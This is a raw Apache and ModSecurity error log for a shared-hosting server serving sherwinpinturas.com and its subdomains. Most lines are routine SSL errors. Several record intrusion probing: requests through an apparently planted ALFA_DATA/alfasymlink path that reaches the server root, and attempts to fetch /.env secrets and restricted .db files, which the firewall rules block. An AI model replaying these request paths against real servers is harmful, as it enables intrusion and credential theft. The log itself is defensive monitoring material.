[Sun Oct 25 06:15:14.319421 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.0.63.151:41632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:15:18.716431 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 100.29.164.178:32490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:15:26.499969 2026] [ssl:error] [pid 2806347:tid 2806347] (5)Input/output error: [client 52.203.68.145:36017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:15:30.669321 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.167.32.123:52456] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:15:50.339751 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 3.217.82.254:56746] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:15:54.409376 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.210.155.69:1388] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:15:58.322427 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 44.207.69.106:19556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/ata_piix/new_id
[Sun Oct 25 06:16:10.344408 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 44.207.252.58:17537] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:16:18.539083 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 44.214.19.8:21771] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:16:22.389051 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 98.82.66.172:58532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:16:26.476054 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 54.80.73.122:58421] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:16:46.438987 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 44.213.202.136:57647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:17:03.353342 2026] [security2:error] [pid 2800176:tid 2800176] [client 85.208.96.210:57842] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/pt_BR/index.db"] [unique_id "at3XH8AclEqdWzgpj08xEgAAAAc"]
[Sun Oct 25 06:17:03.353734 2026] [security2:error] [pid 2800176:tid 2800176] [client 85.208.96.210:57842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/pt_BR/index.db"] [unique_id "at3XH8AclEqdWzgpj08xEgAAAAc"]
[Sun Oct 25 06:17:03.354214 2026] [security2:error] [pid 2800176:tid 2800176] [client 85.208.96.210:57842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/pt_BR/index.db"] [unique_id "at3XH8AclEqdWzgpj08xEgAAAAc"]
[Sun Oct 25 06:17:06.352013 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.44.174.136:30778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:17:06.836526 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 85.208.96.210:57846] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:17:17.200470 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 85.208.96.194:43480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/cache_dma
[Sun Oct 25 06:17:22.358888 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.213.85.234:8742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:17:26.366133 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 98.82.40.168:36984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:17:42.397594 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 107.23.62.75:42263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:17:50.406723 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.229.2.217:55698] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:17:51.141764 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 185.191.171.18:58534] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/trace
[Sun Oct 25 06:17:55.896159 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 44.212.145.46:46457] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:17:56.745084 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 185.191.171.12:23130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:17:58.541634 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 54.89.90.224:54271] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:18:02.504263 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 34.236.41.241:51800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:18:06.025882 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 185.191.171.15:25120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-128/slab_size
[Sun Oct 25 06:18:11.412449 2026] [security2:error] [pid 2806345:tid 2806345] [client 43.165.186.188:52514] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/rank_checker.php"] [unique_id "at3XY0XTOYRMtW9O7Qy2lQAAAAI"]
[Sun Oct 25 06:18:13.132890 2026] [core:error] [pid 2806347:tid 2806347] (13)Permission denied: [client 85.208.96.206:30584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/objs_per_slab
[Sun Oct 25 06:18:14.634001 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 44.206.65.8:2484] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:18:22.857607 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 23.23.103.31:52005] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:18:30.445689 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 23.23.212.212:29732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:18:40.240620 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 185.191.171.1:22246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/objects
[Sun Oct 25 06:18:42.574799 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.203.152.231:10655] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:18:55.110062 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 23.22.105.143:39595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:18:58.514978 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.210.223.61:56783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:19:14.555218 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 50.19.102.70:17121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:19:18.720376 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.94.157.25:10157] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:19:22.622603 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.209.174.110:2534] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:19:30.515503 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 44.210.204.255:49489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:19:38.574183 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 184.73.35.182:40492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0303:00/physical_node1/driver/uevent
[Sun Oct 25 06:19:42.658163 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.224.215.150:39503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:19:46.685525 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 184.73.35.182:11959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:19:50.715792 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 18.205.213.231:22961] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:19:58.542377 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.21.228.180:41957] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:20:02.545987 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 98.83.72.38:42926] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:20:06.560373 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 44.218.170.184:6608] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:20:26.921352 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 18.206.47.187:35760] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:20:35.017276 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 3.216.86.144:12941] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:20:42.580709 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 52.71.218.25:17892] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:20:44.389104 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 85.208.96.206:23924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/slabs_cpu_partial
[Sun Oct 25 06:20:54.624289 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 98.83.178.66:57371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:21:03.258688 2026] [core:crit] [pid 2806345:tid 2806345] (13)Permission denied: [client 216.219.89.86:38742] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:21:06.724377 2026] [ssl:error] [pid 2806341:tid 2806341] (5)Input/output error: [client 34.195.60.66:54121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:21:11.874686 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 185.191.171.12:62918] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:21:18.582279 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.0.105.244:53896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:21:20.473660 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 185.191.171.1:49718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/destroy_by_rcu
[Sun Oct 25 06:21:22.605908 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 18.215.77.19:40995] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:21:34.705595 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 18.211.148.239:43925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:21:43.006664 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 23.23.212.212:1343] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:21:46.617118 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.217.82.254:15338] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:21:54.807996 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 54.89.90.224:61731] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:21:58.783595 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 54.89.90.224:17038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/Cavium PTP Driver/remove_id
[Sun Oct 25 06:22:02.621447 2026] [ssl:error] [pid 2799890:tid 2799890] (22)Invalid argument: [client 52.54.95.127:30860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:22:06.621194 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 52.3.156.186:35776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:22:10.789659 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 35.171.117.160:13741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:22:14.756421 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 44.220.2.97:12538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/remove_id
[Sun Oct 25 06:22:26.626351 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.2.4.213:31549] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:22:27.241745 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 185.191.171.13:25460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/cpu_partial
[Sun Oct 25 06:22:30.747019 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 100.25.120.246:45515] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:22:38.835225 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.71.203.206:61327] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:22:49.617759 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 46.101.1.225:45056] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.622552 2026] [core:crit] [pid 2806341:tid 2806341] (13)Permission denied: [client 142.93.0.66:36114] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.633301 2026] [core:crit] [pid 2800176:tid 2800176] (13)Permission denied: [client 142.93.0.66:36116] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.755383 2026] [core:crit] [pid 2800300:tid 2800300] (13)Permission denied: [client 167.71.81.114:47368] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.760916 2026] [core:crit] [pid 2799892:tid 2799892] (13)Permission denied: [client 46.101.1.225:45064] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.765261 2026] [core:crit] [pid 2806345:tid 2806345] (13)Permission denied: [client 167.99.210.137:51764] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.770419 2026] [core:crit] [pid 2806341:tid 2806341] (13)Permission denied: [client 167.99.210.137:51768] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.778867 2026] [core:crit] [pid 2806347:tid 2806347] (13)Permission denied: [client 206.81.24.74:48188] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.830760 2026] [core:crit] [pid 2800259:tid 2800259] (13)Permission denied: [client 138.68.144.227:57764] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.883704 2026] [core:crit] [pid 2800176:tid 2800176] (13)Permission denied: [client 64.226.65.160:48076] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.926788 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 167.99.210.137:51794] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:49.929247 2026] [core:crit] [pid 2800300:tid 2800300] (13)Permission denied: [client 167.99.210.137:51778] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 06:22:50.752757 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 184.73.35.182:24409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:22:59.035002 2026] [security2:error] [pid 2815606:tid 2815606] [client 167.71.81.114:54146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3YgyQ6C_qJaeV2JCrGOQAAABQ"]
[Sun Oct 25 06:22:59.035291 2026] [security2:error] [pid 2815606:tid 2815606] [client 167.71.81.114:54146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3YgyQ6C_qJaeV2JCrGOQAAABQ"]
[Sun Oct 25 06:22:59.035633 2026] [security2:error] [pid 2815606:tid 2815606] [client 167.71.81.114:54146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3YgyQ6C_qJaeV2JCrGOQAAABQ"]
[Sun Oct 25 06:22:59.720309 2026] [security2:error] [pid 2806347:tid 2806347] [client 138.68.144.227:50616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3Yg4SClIr6gkpjLO7WLAAAAAg"]
[Sun Oct 25 06:22:59.720558 2026] [security2:error] [pid 2806347:tid 2806347] [client 138.68.144.227:50616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3Yg4SClIr6gkpjLO7WLAAAAAg"]
[Sun Oct 25 06:22:59.720816 2026] [security2:error] [pid 2806347:tid 2806347] [client 138.68.144.227:50616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3Yg4SClIr6gkpjLO7WLAAAAAg"]
[Sun Oct 25 06:22:59.909639 2026] [security2:error] [pid 2815607:tid 2815607] [client 206.81.24.74:60844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3Yg0U6oYD4g9PF0CwJigAAABU"]
[Sun Oct 25 06:22:59.909876 2026] [security2:error] [pid 2815607:tid 2815607] [client 206.81.24.74:60844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3Yg0U6oYD4g9PF0CwJigAAABU"]
[Sun Oct 25 06:22:59.910161 2026] [security2:error] [pid 2815607:tid 2815607] [client 206.81.24.74:60844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3Yg0U6oYD4g9PF0CwJigAAABU"]
[Sun Oct 25 06:23:00.105801 2026] [security2:error] [pid 2806345:tid 2806345] [client 64.226.65.160:45770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3YhEXTOYRMtW9O7Qy2rAAAAAI"]
[Sun Oct 25 06:23:00.106074 2026] [security2:error] [pid 2806345:tid 2806345] [client 64.226.65.160:45770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3YhEXTOYRMtW9O7Qy2rAAAAAI"]
[Sun Oct 25 06:23:00.106329 2026] [security2:error] [pid 2806345:tid 2806345] [client 64.226.65.160:45770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3YhEXTOYRMtW9O7Qy2rAAAAAI"]
